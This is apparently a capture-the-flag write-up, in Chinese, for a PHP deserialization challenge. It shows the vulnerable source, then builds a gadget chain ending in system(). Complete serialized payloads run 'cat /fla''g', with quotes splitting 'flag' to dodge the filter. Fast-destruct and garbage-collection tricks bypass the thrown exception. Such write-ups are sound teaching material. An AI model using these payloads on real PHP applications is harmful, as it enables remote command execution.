【newstarctf】 More Fast pop 链构造

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

解题思路

看到题目,在 Web 这个类里面才能 RCE,也就是说最后的 POP
链要在 Web 结束,往前推发现 Pwn 类里有 evil 说明是由 Pwn 类到 Web 类。

触发 Pwn 类的__invoke()需要将 Pwn 类作为函数调用,可以看到Reverse类满足要求,所以是 Reverse 类到 Pwn 类。

Reverse类的 __get()方法需要访问一个不存在的属性,可以看到Crypto类满足条件,所以是Crypto类到 Reverse 类。

Crypto 类的__toString()在Start类的 die 函数中可以触发,说明是 Start 类到 Crypto 类。

所以这道题的 POP 链构造为:

1
Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web::evil

POP链构造很容易,构造 POP 链的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __construct() {
$this->errMsg = new Crypto();
}
}

class Pwn{
public $obj;
public function __construct(){
$this->obj = new Web();
}
}

class Reverse{
public $func;
public function __construct() {
$this->func = new Pwn();
}
}

class Web{
public $func = "cat";
public $var = "fla''g";
}

class Crypto{
public $obj;
public function __construct() {
$this->obj = new Reverse();
}
}


$a = new Start();
echo serialize($a);

主要是如何将 Start 类的 __destruct 作为入口触发。这里要介绍一下 fast destruct 技术:

  • 在 php 中,如果单独执行 unserialize 函数进行反序列化,那么反序列化后的对象的生命周期就会仅限于 unserialize 函数执行的生命周期,unserialize函数执行完毕,这个类就销毁了,此时就会调用 destruct。
  • 如果将 unserialize 反序列化后的对象赋值给另一个变量,那么该对象的生命周期就会延长至该变量销毁为止。
  • unserialize 过程中是逐字读取的,他会先把读取到的内容分配内存空间,在结束的时候统一调用。

以上三条意味着我们可以修改反序列化字符串的结构,当 unserialize 读到不正确的结构时会直接强制退出,这时 unserialize 执行结束,类销毁,会调用 destruct,对于已经分配好内存空间的类来说,就是提前调用了 destruct 。

fast destruct有两种方法:
序列化好后的结果为:

1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fla''g";}}}}}
  1. 修改序列化数字元素个数(O:5 -> O:6):
1
O:6:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fla''g";}}}}}
  1. 去掉序列化尾部 }:
1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fla''g";

通过这两种方法均可拿到 flag:

官方题解

官方题解给出了一个基于 GC 垃圾回收机制的绕过,PHP中 有垃圾回收机制,当触发垃圾回收机制时,则会自动调用 destruct 函数,触发垃圾回收机制的方法有:

  • 源码中有 unset() 函数,可以直接销毁对象
  • 当给对象赋值为 NULL 时,可以触发
  • 当对象失去引用时,可以触发

官方的题解中,通过修改下标的方式,让已经分配好内存的对象失去引用

1
2
3
4
$a = new Start();
$arr[0] = $a;
$arr[1] = NULL;
echo str_replace("i:0","i:1",serialize($arr));

结果为:

1
a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl''ag";}}}}}i:1;N;}

这里 i:1 在后面会再次声明,前面那个对象失去引用,所以就出发了 destruct,这种方式可以绕过抛出异常,应用范围更广一些。